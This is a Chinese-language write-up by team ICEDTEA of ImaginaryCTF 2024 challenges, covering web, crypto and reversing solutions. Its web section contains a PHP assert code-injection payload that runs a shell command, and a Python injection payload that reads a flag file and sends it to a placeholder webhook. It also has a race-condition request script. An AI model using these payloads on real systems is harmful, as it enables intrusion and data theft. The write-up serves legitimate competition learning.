2024 Imaginary CTF Write Up by ICEDTEA

Before all

Rank 61 / 1457
這是我第一次跟建立的社團戰隊(ICEDTEA)打比賽
整體配合度很高,打起來也很舒服owob (雖然大部分不是我們學校ㄉ)
image
很喜歡這種感覺 !

Write Up

WEB

readme

按下Load Preview
image
接著打開開發者工具,找到對應的請求
image
把要求網址的後面的readme.tar.gz改成flag.txt即可拿到檔案
image
https://cybersharing.net/api/download/file/7a829a2b-4674-471a-9875-02691f5ce6c5/703dc4c6-7b06-4813-874a-857fc1ea4098/7aeb7c98-9bf5-44b3-9eb3-972f225a3576/flag.txt
但打開會發現這實際上不是.txt檔,所以先丟進Linux裡面查看檔案類型

1
2
wget https://cybersharing.net/api/download/file/7a829a2b-4674-471a-9875-02691f5ce6c5/703dc4c6-7b06-4813-874a-857fc1ea4098/7aeb7c98-9bf5-44b3-9eb3-972f225a3576/flag.txt
file flag.txt

發現是gzip檔,解壓縮它並繼續查看檔案類型

1
2
3
mv flag.txt flag.gz
gzip -d flag.gz
file flag

發現是tar壓縮檔,解壓縮它

1
tar -xvf flag

在解壓縮出來的檔案中有一個名為flag的檔案,查看它的內容

1
cat flag | grep ictf

報錯了,終端回應grep: (standard input): binary file matches,於是加上-a選項,這會強制 grep 處理二進制文件為文本

1
cat flag | grep -a ictf

flag:ictf{path_normalization_to_the_rescue}

journal

  • solver Whale120
    index.php
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    <?php

    echo "<p>Welcome to my journal app!</p>";
    echo "<p><a href=/?file=file1.txt>file1.txt</a></p>";
    echo "<p><a href=/?file=file2.txt>file2.txt</a></p>";
    echo "<p><a href=/?file=file3.txt>file3.txt</a></p>";
    echo "<p><a href=/?file=file4.txt>file4.txt</a></p>";
    echo "<p><a href=/?file=file5.txt>file5.txt</a></p>";
    echo "<p>";

    if (isset($_GET['file'])) {
    $file = $_GET['file'];
    $filepath = './files/' . $file;

    assert("strpos('$file', '..') === false") or die("Invalid file!");

    if (file_exists($filepath)) {
    include($filepath);
    } else {
    echo 'File not found!';
    }
    }

    echo "</p>";

    這是php-7:apline的環境,assert("strpos('$file', '..') === false")中帶來了php code injection的弱點。
    payload:?file=%27.system("cat%20/flag*").%27

The Amazing Race

  • solver Whale120
    一個走迷宮的遊戲,快速code review就可以發現終點周圍永遠會有障礙物,不過有感覺到race condition的洞,所以可以用類似底下的腳本(用threadings加速)刷到右下角拿flag
    image
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import threading
import requests

url = 'http://the-amazing-race.chal.imaginaryctf.org/move'

params = {
'id': 'f09c7723-d4a5-4b84-9faf-69d6197807b0',
'move': 'down'
}


def send_request():
response = requests.post(url, params=params)
print(response.text)

num_threads = 50

threads = []

for i in range(num_threads):
thread = threading.Thread(target=send_request)
thread.start()
threads.append(thread)

for thread in threads:
thread.join()

print("All requests completed.")

P2C

  • solver legend_yang
    查看原始碼後,發現可以直接塞py code,就拿之前寫的送了
    1
    urllib=__import__('urllib.request', fromlist=['Request', 'urlopen']);subprocess = __import__('subprocess');awab=subprocess.run(['cat', 'flag.txt'], capture_output=True, text=True);url="<webhook uri here>"+awab.stdout;urllib.urlopen(url);return"Hello, World!"

Crystals

  • solver legend_yang
    查看原始碼後發現flag好像和sinatra框架比較有關,在本地開了一個沒有nginx proxy過的server。
    亂塞一堆字元後發現sinatra在400 bad requests的時候會返回hostname值,而這次的flag就放在hostname裡面

http://crystals.chal.imaginaryctf.org/{]};:'",<.>/?~𝘈Ḇ𝖢𝕯٤ḞԍНǏ𝙅ƘԸⲘ𝙉০Ρ𝗤Ɍ𝓢ȚЦ𝒱Ѡ𝓧ƳȤѧᖯć𝗱ễ𝑓𝙜Ⴙ𝞲𝑗𝒌ļṃʼnо𝞎𝒒ᵲꜱ𝙩ừ𝗏ŵ𝒙𝒚ź1234567890!@#$%^&*()-_=+[{]};:'",<.>/?~АḂⲤ𝗗𝖤𝗙ꞠꓧȊ𝐉𝜥ꓡ𝑀𝑵Ǭ𝙿𝑄Ŗ𝑆𝒯𝖴𝘝𝘞ꓫŸ𝜡ả𝘢ƀ𝖼ḋếᵮℊ𝙝Ꭵ𝕛кιṃդⱺ𝓅𝘲𝕣𝖘ŧ𝑢ṽẉ𝘅ყž1234567890!@#$%^&*()-_=+[{]};:'",<.>/?~Ѧ𝙱ƇᗞΣℱԍҤ١𝔍К𝓛𝓜ƝȎ𝚸𝑄Ṛ𝓢ṮṺƲᏔꓫ𝚈𝚭𝜶Ꮟçძ𝑒𝖿𝗀ḧ𝗂𝐣ҝɭḿ𝕟𝐨𝝔𝕢ṛ𝓼тú𝔳ẃ⤬𝝲𝗓1234567890!@#$%^&*()-_=+[{]};:'",<.>/?~𝖠Β𝒞𝘋𝙴小熊𝓕ĢȞỈ𝕵ꓗʟ𝙼ℕ০𝚸𝗤ՀꓢṰǓⅤ𝔚Ⲭ𝑌𝙕𝘢𝕤

CRYPTO

base64

  • solver yucheng2663

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import bytes_to_long

q = 64

flag = open("flag.txt", "rb").read()
flag_int = bytes_to_long(flag)

secret_key = []
while flag_int:
secret_key.append(flag_int % q)
flag_int //= q

print(f"{secret_key = }")

這題直接丟給GPT解釋流程,他會講一大堆東西給你,但其實重點就是最後面有提到產生的 secret_key 清單可以用來還原原始數據
所以基本上可以直接把題目的out.txt丟給GPT去幫你寫出反推密文的程式碼

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import long_to_bytes

# 假设 secret_key 和 q 已经定义
secret_key = [10, 52, 23, 14, 52, 16, 3, 14, 37, 37, 3, 25, 50, 32, 19, 14, 48, 32, 35, 13, 54, 12, 35, 12, 31, 29, 7, 29, 38, 61, 37, 27, 47, 5, 51, 28, 50, 13, 35, 29, 46, 1, 51, 24, 31, 21, 54, 28, 52, 8, 54, 30, 38, 17, 55, 24, 41, 1]

q = 64

# 初始化反推的长整数
reconstructed_int = 0

# 遍历 secret_key 列表并按基数 q 重新组合成一个长整数
for i in range(len(secret_key)-1, -1, -1):
reconstructed_int = reconstructed_int * q + secret_key[i]

# 将长整数转换回字节序列
original_flag = long_to_bytes(reconstructed_int)

print(f"{original_flag = }")

integrity

  • solver Whale120
    chal.py
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    from Crypto.Util.number import *
    from binascii import crc_hqx

    p = getPrime(1024)
    q = getPrime(1024)

    n = p*q
    e = 65537
    tot = (p-1)*(q-1)
    d = pow(e, -1, tot)

    flag = bytes_to_long(open("flag.txt", "rb").read())
    ct = pow(flag, e, n)

    #signature = pow(flag, d, n) # no, im not gonna do that
    signature = pow(flag, crc_hqx(long_to_bytes(d), 42), n)

    print(f"{n = }")
    print(f"{ct = }")
    print(f"{signature = }")

其中,crc_hqx會回傳一個 16 bits的簽名,所以整題就會變成一個共模攻擊(link)的題目。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Util.number import *
import math
from tqdm import trange
n = 10564138776494961592014999649037456550575382342808603854749436027195501416732462075688995673939606183123561300630136824493064895936898026009104455605012656112227514866064565891419378050994219942479391748895230609700734689313646635542548646360048189895973084184133523557171393285803689091414097848899969143402526024074373298517865298596472709363144493360685098579242747286374667924925824418993057439374115204031395552316508548814416927671149296240291698782267318342722947218349127747750102113632548814928601458613079803549610741586798881477552743114563683288557678332273321812700473448697037721641398720563971130513427
ct = 5685838967285159794461558605064371935808577614537313517284872621759307511347345423871842021807700909863051421914284950799996213898176050217224786145143140975344971261417973880450295037249939267766501584938352751867637557804915469126317036843468486184370942095487311164578774645833237405496719950503828620690989386907444502047313980230616203027489995981547158652987398852111476068995568458186611338656551345081778531948372680570310816660042320141526741353831184185543912246698661338162113076490444675190068440073174561918199812094602565237320537343578057719268260605714741395310334777911253328561527664394607785811735
signature = 1275844821761484983821340844185575393419792337993640612766980471786977428905226540853335720384123385452029977656072418163973282187758615881752669563780394774633730989087558776171213164303749873793794423254467399925071664163215290516803252776553092090878851242467651143197066297392861056333834850421091466941338571527809879833005764896187139966615733057849199417410243212949781433565368562991243818187206912462908282367755241374542822443478131348101833178421826523712810049110209083887706516764828471192354631913614281317137232427617291828563280573927573115346417103439835614082100305586578385614623425362545483289428
e=65537

def common_module_attack(x1, x2):
pad=inverse(x1, x2)
assert x1*pad % x2 ==1
val=(pow(ct, pad, n)*pow(signature, -(x1*pad//x2), n))%n
return long_to_bytes(val)

for i in trange(2, 65536):
if b'ictf' in common_module_attack(e, i):
print(common_module_attack(e, i))

REVERSING

unoriginal

  • solver Whale120
    xor, key是5
    image

RUST

  • solver Whale120
    一個加密程式,要還原密鑰跟找到與密文對應ㄉ明文
    (其實我沒有真的做很深入的逆向),主要觀察兩點:
    1.是逐字加密
    2.key的大小跟輸出的大些成高度正相關
    最後就手動二分搜湊出key …(以flag第一個字元i為樣本)

image

image

image

bf

  • solver hokak
    題目給你一段brainfuck的code
    1
    ,>>+++++++++++[<+++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<-------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++[<+++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++[<++++++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++[<+++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<----------------------------------------------------------------------------------[><],>>+++++++++++[<+++++>-]<[-<+>]<---------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++[<+++++++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<+++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++[<+++>-]<[-<+>]<------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<+++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++[<+++++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++[<+++++++>-]<[-<+>]<------------------------------------------------------------------------------------------------------------[><],>>+++++++++[<+++++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<-------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++[<+++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++>-]<[-<+>]<-------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<+++++++>-]<[-<+>]<--------------------------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++++++[<++++++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++[<+++>-]<[-<+>]<---------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++[<++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------[><],>>+++++++++++++++++++++++[<++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++++++++[<+++>-]<[-<+>]<----------------------------------------------------------------------------------------------------------------------[><],>>+++++++++++++++++++[<+++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------------------[><],>>++++++[<+++++>-]<[-<+>]<-----------------------------------------------------------------------------------------------------------------------------------------------------------[><]
    然後稍微學一下brainfuck,發現他可以用工具轉成C語言

然後我看到這堆東西,看起來就超容易進入無窮迴圈
image

但仔細觀察後,會得知每段迴圈都長得差不多
可以把

1
2
3
4
5
6
7
while (tape[ptr] != 0)
{
ptr -= 1;
tape[ptr] += 3;
ptr += 1;
tape[ptr] -= 1;
}

換成

1
tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;

以此類推其他數字

還有

1
2
3
4
5
while (tape[ptr] != 0)
{
ptr += 1;
ptr -= 1;
}

的功能是如果不為0就會進入無窮迴圈
那如果把這段改成直接強制退出程式就輕鬆多了

1
2
if (tape[ptr] != 0)
return 0;

改完的code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
/* This is a translation of a.bf, generated by bftoc.py (by Paul Kaefer)
* It was generated on Sunday, July 21, 2024 at 10:49PM
*/

#include <stdio.h>

int main(void)
{
int size = 1000;
unsigned tape[1000];
int i = 0;

/* Clearing the tape (array) */
for (i=0; i<size; i++)
tape[i] = 0;

int ptr = 0;

tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
printf("%d %d %d", tape[0], tape[1], tape[2]);
ptr -= 1;
tape[ptr] -= 138;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 10;
tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 169;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
tape[ptr - 1] += tape[ptr] * 4, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 160;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 10;
tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 172;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 17;
tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 174;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 8;
tape[ptr - 1] += tape[ptr] * 8, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 113;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 13;
tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 160;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
tape[ptr - 1] += tape[ptr] * 4, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 148;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 6;
tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 82;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 171;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 9;
tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 114;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 128;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 17;
tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 102;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 170;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 8;
tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 104;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 6;
tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 138;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 8;
tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 108;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 9;
tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 173;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 6;
tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 133;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 9;
tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 98;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 10;
tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 145;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 10;
tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 125;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 10;
tape[ptr - 1] += tape[ptr] * 7, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 170;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 10;
tape[ptr - 1] += tape[ptr] * 6, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 112;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 17;
tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 153;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 11;
tape[ptr - 1] += tape[ptr] * 4, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 95;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 23;
tape[ptr - 1] += tape[ptr] * 2, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 143;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 23;
tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 118;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 19;
tape[ptr - 1] += tape[ptr] * 3, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 155;
if (tape[ptr] != 0)
return 0;
tape[ptr] = getchar();
ptr += 2;
tape[ptr] += 6;
tape[ptr - 1] += tape[ptr] * 5, tape[ptr] = 0;
ptr -= 1;
tape[ptr - 1] += tape[ptr], tape[ptr] = 0;
ptr -= 1;
tape[ptr] -= 155;
if (tape[ptr] != 0)
return 0;
printf("hello");
}

編譯後用angr去解(不要問我怎麼寫,我用抄能力)

1
2
3
4
5
6
7
8
9
10
11
12
13
import angr
import sys
p = angr.Project('./a', auto_load_libs=False) #./a是剛剛的程式編譯後
initial_state = p.factory.entry_state()
simulation = p.factory.simgr(initial_state)
simulation.explore(find= lambda s: b"hello" in s.posix.dumps(1))

if simulation.found:
solution_state = simulation.found[0]
sol = solution_state.posix.dumps(sys.stdin.fileno())
print(f"[+] Success! Solution is: {sol}")
else:
print("target not found")

image

unconditional

  • solver hokak
    image
    然後他給我們一個執行檔,decompile之後大概長這樣(小小的改過)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107

    #include "defs.h"



    long long iterate(int a1); // idb
    int main(int argc, const char **argv, const char **envp);
    char flag[18] = "nothing_here_lmao"; // weak
    _BYTE table1[6] = { 82, 100, 113, 81, 84, 118 }; // weak
    _BYTE table2[6] = { 1, 3, 4, 2, 6, 5 }; // weak
    char completed_0; // weak
    int counter1; // weak
    int counter2; // weak


    //----- (0000000000001149) ----------------------------------------------------
    long long iterate(int a1)
    {
    bool v1; // al
    unsigned __int8 v3; // [rsp+19h] [rbp-7h]
    bool v4; // [rsp+1Eh] [rbp-2h]

    v3 = flag[a1];
    v4 = (a1 & 1) != 0;
    v1 = v3 > 0x60u && v3 <= 0x7Au;
    flag[a1] = ((((int)v3 >> table2[counter2]) | (v3 << (8 - table2[counter2]))) * v1
    + !v1 * (((v3 << 6) | (v3 >> 2)) ^ table1[counter1]))
    * ((a1 & 1) == 0)
    + ((v3 ^ table1[counter1]) * v1 + !v1 * ((4 * v3) | (v3 >> 6))) * ((a1 & 1) != 0);
    counter1 = (v4 + counter1) % 6;
    counter2 = (v4 + counter2) % 6;
    printf("%02x,", (unsigned __int8)flag[a1]);
    return (unsigned int)(a1 + 1);
    }

    //----- (0000000000001343) ----------------------------------------------------
    int main(int argc, const char **argv, const char **envp)
    {
    int v3; // eax
    int v4; // eax
    int v5; // eax
    int v6; // eax
    int v7; // eax
    int v8; // eax
    int v9; // eax
    int v10; // eax
    int v11; // eax
    int v12; // eax
    int v13; // eax
    int v14; // eax
    int v15; // eax
    int v16; // eax
    int v17; // eax
    int v18; // eax
    int v19; // eax
    int v20; // eax
    int v21; // eax
    int v22; // eax
    int v23; // eax
    int v24; // eax
    int v25; // eax
    int v26; // eax
    int v27; // eax
    int v28; // eax
    int v29; // eax
    int v30; // eax
    int v31; // eax
    int v32; // eax
    int v33; // eax
    int v34; // eax

    v3 = iterate(0);
    v4 = iterate(v3);
    v5 = iterate(v4);
    v6 = iterate(v5);
    v7 = iterate(v6);
    v8 = iterate(v7);
    v9 = iterate(v8);
    v10 = iterate(v9);
    v11 = iterate(v10);
    v12 = iterate(v11);
    v13 = iterate(v12);
    v14 = iterate(v13);
    v15 = iterate(v14);
    v16 = iterate(v15);
    v17 = iterate(v16);
    v18 = iterate(v17);
    v19 = iterate(v18);
    v20 = iterate(v19);
    v21 = iterate(v20);
    v22 = iterate(v21);
    v23 = iterate(v22);
    v24 = iterate(v23);
    v25 = iterate(v24);
    v26 = iterate(v25);
    v27 = iterate(v26);
    v28 = iterate(v27);
    v29 = iterate(v28);
    v30 = iterate(v29);
    v31 = iterate(v30);
    v32 = iterate(v31);
    v33 = iterate(v32);
    v34 = iterate(v33);
    iterate(v34);
    return 0;
    }

然後把flag那邊的前五個字改成ictf{output的前五個字就會跟答案相同,利用這點可以做爆搜
我寫的爛code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include "defs.h"
#include <stdio.h>
#include <string.h>
#include "edited.h"

int iterate(int a1); // idb
int main();

//-------------------------------------------------------------------------
// Data declarations

char flag[10000000]; // weak

_BYTE table1[6] = {82, 100, 113, 81, 84, 118}; // weak
_BYTE table2[6] = {1, 3, 4, 2, 6, 5}; // weak
int counter1 = 0; // weak
int counter2 = 0; // weak
unsigned char temp[33];

//----- (0000000000001149) ----------------------------------------------------
int iterate(int a1)
{
int v3 = flag[a1];
bool v4 = (a1 & 1) != 0;
bool v1 = v3 > 0x60u && v3 <= 0x7Au;
flag[a1] = ((((int)v3 >> table2[counter2]) | (v3 << (8 - table2[counter2]))) * v1 + !v1 * (((v3 << 6) | (v3 >> 2)) ^ table1[counter1])) * ((a1 & 1) == 0) + ((v3 ^ table1[counter1]) * v1 + !v1 * ((4 * v3) | (v3 >> 6))) * ((a1 & 1) != 0);
counter1 = (v4 + counter1) % 6;
counter2 = (v4 + counter2) % 6;
return (unsigned char)flag[a1];
}

void it()
{
for (int i = 0; i < 34; i++)
{
temp[i] = iterate(i);
}
}

void clear_result() //初始化這些值,下一次的嘗試才會是正確的結果
{
table1[0] = 82;
table1[1] = 100;
table1[2] = 113;
table1[3] = 81;
table1[4] = 84;
table1[5] = 118;

table2[0] = 1;
table2[1] = 3;
table2[2] = 4;
table2[3] = 2;
table2[4] = 6;
table2[5] = 5;
counter2 = 0;
counter1 = 0;
}
//----- (0000000000001343) ----------------------------------------------------

int main()
{
int ans[33] = {0xb4, 0x31, 0x8e, 0x02, 0xaf, 0x1c, 0x5d, 0x23, 0x98, 0x7d, 0xa3, 0x1e, 0xb0, 0x3c, 0xb3, 0xc4, 0xa6, 0x06, 0x58, 0x28, 0x19, 0x7d, 0xa3, 0xc0, 0x85, 0x31, 0x68, 0x0a, 0xbc, 0x03, 0x5d, 0x0b};
char tempflag[33] = {0};
for (int i = 0; i < 33; i++)
{

for (int j = ' '; j < 127; j++)
{
tempflag[i] = j;
strcpy(flag, tempflag);
clear_result();
it();
if (temp[i] == ans[i])
{
printf("%c", j);
}

}
printf("\n");

}
return 0;
}

result:
image

